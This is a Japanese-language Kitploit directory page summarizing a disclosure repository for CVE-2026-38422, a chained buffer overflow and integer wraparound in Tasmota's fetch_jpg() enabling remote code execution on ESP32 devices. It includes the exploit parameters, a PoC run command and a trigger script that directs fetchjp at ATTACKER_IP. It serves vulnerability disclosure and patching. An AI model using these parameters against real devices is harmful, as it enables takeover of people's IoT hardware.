Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-38422 — CVE-2026-38422 — Tasmota fetch_jpg() における複合バッファオーバーフローによるリモートコード実行 (Tasmota <= 15.3.0.3) | Kitploit
ツール/GitHubGitHub/sermikr0/cve-2026-38422
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイトペネトレーションテストハードウェアとIoTセキュリティリモートアクセスツールバイナリエクスプロイト
GitHubsermikr0/cve-2026-38422

CVE-2026-38422

CVE-2026-38422 — Tasmota fetch_jpg() における複合バッファオーバーフローによるリモートコード実行 (Tasmota <= 15.3.0.3)

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-38422: Tasmota fetch_jpg() における複合バッファオーバーフローによるリモートコード実行

CVE: CVE-2026-38422
重要度: 緊急 (CVSS 9.8)
製品: Arendst Tasmota
影響を受けるバージョン: <= 15.3.0.3
ファイル: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
関数: fetch_jpg()
作者: Saidakbarxon Maxsudxonov
開示: 責任ある開示 — 公開前に Tasmota へ報告済み


概要

Tasmota のスクリプタードライバー (xdrv_10_scripter.ino) 内の fetch_jpg() 関数には、組み合わせることで Tasmota <= 15.3.0.3 を実行する ESP32 ベースのデバイス上でリモートコード実行を可能にする、2つの複合的なメモリ破壊の脆弱性が含まれています:

  1. フェーズ 1 (case 0): 固定 40 バイトの boundary[] バッファへの strcpy() オーバーフロー — WiFiClient/HTTPClient の vtable ポインタを含む隣接ヒープメモリを破壊する (CVE-2026-38426 も参照)
  2. フェーズ 2 (case 2): Content-Length の uint16_t 整数ラップアラウンド — サイズ不足のバッファを割り当て、ストリーム状態の破壊を引き起こす (CVE-2026-38427 も参照)

1 回の攻撃セッション内で一緒に使用することで、これらの 2 つのプリミティブはヒープ破壊を最大化し、任意コード実行を達成する確率を大幅に高めます。


脆弱性チェーン

root@kitploit:~
Attacker MJPEG Server
       │
       │ Phase 1: HTTP 200 response with long boundary string
       │   Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
       │   → strcpy(boundary[40], 50_chars) → OVERFLOW
       │   → WiFiClient vtable ptr partially overwritten
       ▼
  ESP32 Heap Corrupted
       │
       │ Phase 2: MJPEG frame with Content-Length > 65535
       │   Content-Length: 65537
       │   → uint16_t size = 1 (wraparound)
       │   → malloc(1), readBytes(buff, 1)
       │   → 65536 bytes remain in stream → heap/stream corruption
       ▼
  Double Corruption → RCE / Guaranteed DoS

概念実証 (PoC)

root@kitploit:~
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos

PoC サーバーは以下の処理を行います:

  1. Tasmota からの接続を受け入れる (fetchjp() トリガー)
  2. フェーズ 1: バウンダリ文字列 80 文字を含む最初の HTTP 200 を送信する (オーバーフロー)
  3. フェーズ 2: Content-Length: 65537 を持つ MJPEG フレームを送信する (ラップアラウンド)

完全な実装については CVE-2026-38422_poc.py を参照してください。


Tasmota スクリプトによるトリガー

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

デバイスは fetchjp() を使用する Tasmota スクリプトを実行している必要があります。攻撃者はデバイスが接続するサーバーを制御します (または既存の接続に対して MITM を実行します)。


影響

  • 機密性: 高 — ESP32 上の RCE、デバイスの秘密情報/認証情報へのアクセス
  • 完全性: 高 — デバイスの完全な乗っ取り
  • 可用性: 高 — クラッシュ/再起動ループが保証される
  • 攻撃ベクトル: ネットワーク (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • CVSS スコア: 9.8 緊急

影響を受けるデバイス

バージョン <= 15.3.0.3 を実行し、scripter サポートが有効で、外部 MJPEG サーバーに接続するために fetchjp() を使用するスクリプトを実行している、すべての ESP32 ベースの Tasmota デバイス。


タイムライン

  • 2026-03-29: 両方の脆弱性を発見し、MITRE に報告
  • 2026-03-29: CVE-2026-38422 が割り当てられた
  • 2026-05-xx: Tasmota によってパッチがリリース (v15.3.0.4+)

参照

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38422
  • 関連: CVE-2026-38426 (strcpy オーバーフロー)
  • 関連: CVE-2026-38427 (uint16_t ラップアラウンド)
ツールをダウンロード